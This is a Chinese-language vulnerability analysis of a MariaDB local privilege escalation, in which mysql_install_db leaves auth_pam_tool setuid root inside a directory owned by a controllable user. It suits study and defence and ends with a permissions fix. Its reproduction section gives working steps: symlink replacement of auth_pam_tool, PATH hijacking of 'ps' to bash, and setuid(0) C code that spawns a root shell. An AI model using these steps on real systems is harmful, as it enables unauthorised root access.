作者:Evi1hui@QAX A-TEAM
原文鏈接:https://mp.weixin.qq.com/s/3PqYHGklnTb-5eWuNammWA

MariaDB是MySQL數據庫系統的一個復刻,由社區開發,旨在繼續保持在GNU GPL下開源。甲骨文公司收購了 MySQL 后,有將 MySQL 閉源的潛在風險,因此社區采用分支的方式來避開這個風險。MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能輕松成為MySQL的代替品。近日,奇安信CERT在日常監測中從oss-security郵箱中監測到這枚MariaDB提權漏洞,經研判雖這個漏洞到達不了風險通告流程,但由于和監測到此漏洞比較有意思故有了下文展開分析。如有不足之處,歡迎批評指正。

根據oss-security郵件推送的上下文描述是在mysql_install_db腳本中配置不當導致的漏洞發生。

官方介紹:https://mariadb.com/kb/en/mysql_install_db/

根據官方描述,mysql_install_db用于初始化data數據目錄,且在數據庫中創建Mysql表。大概腳本是作為初始化數據等操作所使用。

docker環境搭建

  1. docker pull mariadb:10.4.8
  2. docker run -it 2ef19234ff46 /bin/bash

漏洞分析

首先定位漏洞點。

find / -name "mysql_install_db"

在bash腳本上下文中,如果$user被定義則能進入「配置不當」漏洞點。

chown $user "$pamtooldir/auth_pam_tool_dir"chmod 0700 "$pamtooldir/auth_pam_tool_dir"

這里配置了auth_pam_tool_dir目錄的歸屬權和所有權,權限歸屬于$user。 (這里是可控點之一)

chown 0 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool" chmod 04755 "$pamtooldir/auth_pam_tool_dir/auth_pam_tool"

這里配置了auth_pam_tool文件為0(root)所有權,4755文件權限(4為suid權限)。想要進入這個漏洞點需要$srcdir變量值長度為0才能觸發。

關于suid屬性:

SUID屬性一般用在可執行文件上,當用戶執行該文件時,會「臨時擁有該執行文件的所有者權限」。一旦程序擁有SUID權限的話,運行該程序時會以最高權限運行。

回溯user

  1. $user

在腳本傳遞args參數時可控制$user變量。

  1. $srcdir

也在初始化操作時可控制變量,初始化時為空。

那么想要進入這個漏洞點需要user需要設置值。

結合上文描述使用此命令才能觸發漏洞點:

./mysql_install_db --user=mysql

漏洞復現

尋找suid屬性的程序

find /* -perm -u=s -type f 2>/dev/null

搜索到的suid屬性程序「auth_pam_tool」替換成我們的惡意suid程序。

1. rm auth_pam_tool2. ln -s /root/pwn auth_pam_tool3. export PATH=.:$PATH4. ln -s /bin/bash ps

編寫一個具有suid權限的惡意程序:

#include <unistd.h>#include <stdlib.h>int main(void){    setuid(0);    setgid(0);    system("ps");    return 0;}

切換回root,在root權限下運行mysql_install_db腳本(觸發修改chmod命令)

再回到mysql用戶權限下執行auth_pam_tool

提權成功。

可以看到這個漏洞是由于suid與目錄權限設置不當,才導致被提權利用的風險。建議在修復中設置auth_pam_tool_dir目錄權限為root所有:

root:mysql  0750 /usr/lib/mysql/plugin/auth_pam_tool_dir

參考文檔:

  1. https://hub.docker.com/_/mariadb?tab=tags&page=2

  2. https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/

  3. https://mochazz.github.io/2018/06/09/Linux


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1127/